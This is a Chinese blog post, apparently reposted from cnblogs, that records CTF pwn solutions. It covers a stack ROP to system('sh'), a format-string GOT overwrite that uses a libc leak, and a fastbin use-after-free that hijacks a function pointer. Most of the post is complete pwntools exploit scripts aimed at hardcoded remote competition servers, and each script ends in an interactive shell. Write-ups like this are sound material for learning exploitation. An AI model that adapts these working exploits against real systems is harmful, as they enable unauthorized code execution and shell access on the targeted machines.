码迷,mamicode.com
首页 > 其他好文 > 详细

记录一下最近的pwn

时间:2018-08-23 14:19:17      阅读:211      评论:0      收藏:0      [点我收藏+]

标签:lin   服务   targe   ted   服务器   自动   imp   没有   shel   

qctf stack2:

 服务器中/bin/bash字符串不能执行,构造rop调用system(sh)拿到shell。

技术分享图片

exp:

from pwn import *

#p=process(‘./stack2‘)
p=remote(‘47.96.239.28‘,2333)
#context.log_level=‘debug‘

p.recvuntil("have:\n")
p.sendline(‘1‘)
p.recvuntil("numbers\n")
p.send("115\n")

p.recvuntil("exit\n")
p.send("3"+"\n")
p.recvuntil("change:\n")
p.send("132"+"\n")
p.recvuntil("number:\n")
p.send("180"+"\n")

p.recvuntil("exit\n")
p.send("3"+"\n")
p.recvuntil("change:\n")
p.send("133"+"\n")
p.recvuntil("number:\n")
p.send("133"+"\n")

p.recvuntil("exit\n")
p.send("3\n")
p.recvuntil("change:\n")
p.sendline("134")
p.recvuntil("number:\n")
p.sendline("4")

p.recvuntil("exit\n")
p.send("3\n")
p.recvuntil("change:\n")
p.sendline("135")
p.recvuntil("number:\n")
p.sendline("8")

#####
p.recvuntil("exit\n")
p.send("3"+"\n")
p.recvuntil("change:\n")
p.send("136"+"\n")
p.recvuntil("number:\n")
p.sendline(‘135‘)

p.recvuntil("exit\n")
p.send("3"+"\n")
p.recvuntil("change:\n")
p.send("137"+"\n")
p.recvuntil("number:\n")
p.sendline(‘137‘)

p.recvuntil("exit\n")
p.send("3\n")
p.recvuntil("change:\n")
p.sendline("138")
p.recvuntil("number:\n")
p.sendline(‘4‘)

p.recvuntil("exit\n")
p.send("3\n")
p.recvuntil("change:\n")
p.sendline("139")
p.recvuntil("number:\n")
p.sendline(‘8‘)

p.recvuntil("exit\n")
#gdb.attach(p,"b *0x80488ee")
p.send("5\n")
p.interactive()

 网鼎杯:

pwn1(格式化字符串漏洞)

 没有给libc就需要泄露got地址然后查找对应的版本,查询网址:libc.ml,然后查看对于system的偏移。

技术分享图片

#!/usr/bin/env python

from pwn import *
#Io = process("./pwn")
Io= remote("106.75.126.184",‘58579‘)

def leak(addr):
    
    
    payload = p32(addr) + "%6$s"
    Io.sendline(payload)
    leak_data = Io.read()
    return leak_data[4:8]

def get_number(printed, target):
    print "[+] Target : %d" % (target)
    print "[+] printed number : %d" % (printed)
    if printed > target:
        return 256 - printed + target
    elif printed == target:
        return 0
    else:
        return target - printed

def write_memery(target, data, offset):
    lowest = data >> 8 * 3 & 0xFF
    low = data >> 8 * 2 & 0xFF
    high = data >> 8 * 1 & 0xFF
    highest = data >> 8 * 0 & 0xFF
    printed = 0
    payload = p32(target + 3) + p32(target + 2) + p32(target + 1) + p32(target + 0)
    length_lowest = get_number(len(payload), lowest)
    length_low = get_number(lowest, low)
    length_high = get_number(low, high)
    length_highest = get_number(high, highest)
    payload += ‘%‘ + str(length_lowest) + ‘c‘ + ‘%‘ + str(offset) + ‘$hhn‘
    payload += ‘%‘ + str(length_low) + ‘c‘ + ‘%‘ + str(offset + 1) + ‘$hhn‘
    payload += ‘%‘ + str(length_high) + ‘c‘ + ‘%‘ + str(offset + 2) + ‘$hhn‘
    payload += ‘%‘ + str(length_highest) + ‘c‘ + ‘%‘ + str(offset + 3) + ‘$hhn‘
    return payload



Io.readuntil("repeater?\n")

# leak
printf_got = 0x0804A014
system_off=0x3a940
printf_off=0x49020
Io.readuntil("\n")
printf_addr = u32(leak(printf_got))
system_addr = printf_addr - printf_off + system_off

payload = write_memery(printf_got, system_addr, 6)
Io.readuntil("\n")
Io.sendline(payload)
Io.readuntil("\n")
Io.sendline("/bin/sh")
Io.interactive()

 

fgo:

      32位下为8bytes,64位下为16bytes对齐,而最小分配单位:32位下malloc的最小分配单位为16字节,申请内存为1~12字节时,系统内存消耗16字节,当申请内存为13字节时,系统内存消耗24字节。;64位下最小分配单位为32字节,申请内存为1~24字节时,系统内存消耗32字节,当申请内存为25字节时,系统内存消耗48字节。 

      漏洞在于delete时存在uaf,add操作先malloc(8)存放打印函数地址和content地址,紧接着自定义malloc存放content ,限定5次add操作。所以数据结构为:

servantlist:

servantlist[0]
servantlist[1]

 

 

servant(8 bytes):

print_addr
content_addr

 

 

 

技术分享图片

 

根据fastbin原理,先malloc两个大小24的content,其中包括自动malloc两个8bytes的servanlist,随后delete(1),delete(0),然后malloc 8bytes的content,内容就会覆盖servantlist[0]指向的servant结构,用system(/bin/sh)地址覆盖print_addr实现劫持。

#!/usr/bin/env python
from pwn import *
context.log_level=‘debug‘
r=remote(‘106.75.104.139‘, 26768)
#r = process(‘./fgo‘)
def add(size,content):   
    r.recvuntil(‘Your choice:\n‘)
    r.sendline(‘1‘) 
    r.recvuntil(‘name : \n‘)

    r.sendline(str(size))  
    r.recvuntil(‘ability : \n‘)
    r.sendline(content)
    
def delete(index):
    r.recvuntil(‘Your choice:\n‘)   
    r.sendline(‘2‘)   
    r.recvuntil(‘Index : \n‘)
    r.sendline(str(index))
def show(index):
    r.recvuntil(‘Your choice:\n‘)
    r.sendline("3")
    r.recvuntil(‘Index :‘)
    r.sendline(str(index))

add(20,‘1‘*4) #0
add(20,‘2‘*4) #1

delete(0)
delete(1)
add(8,p32(0x08048956)+p32(0x8048c80))
show(0)
r.interactive()

 

记录一下最近的pwn

标签:lin   服务   targe   ted   服务器   自动   imp   没有   shel   

原文地址:https://www.cnblogs.com/Joe-Z/p/9523117.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!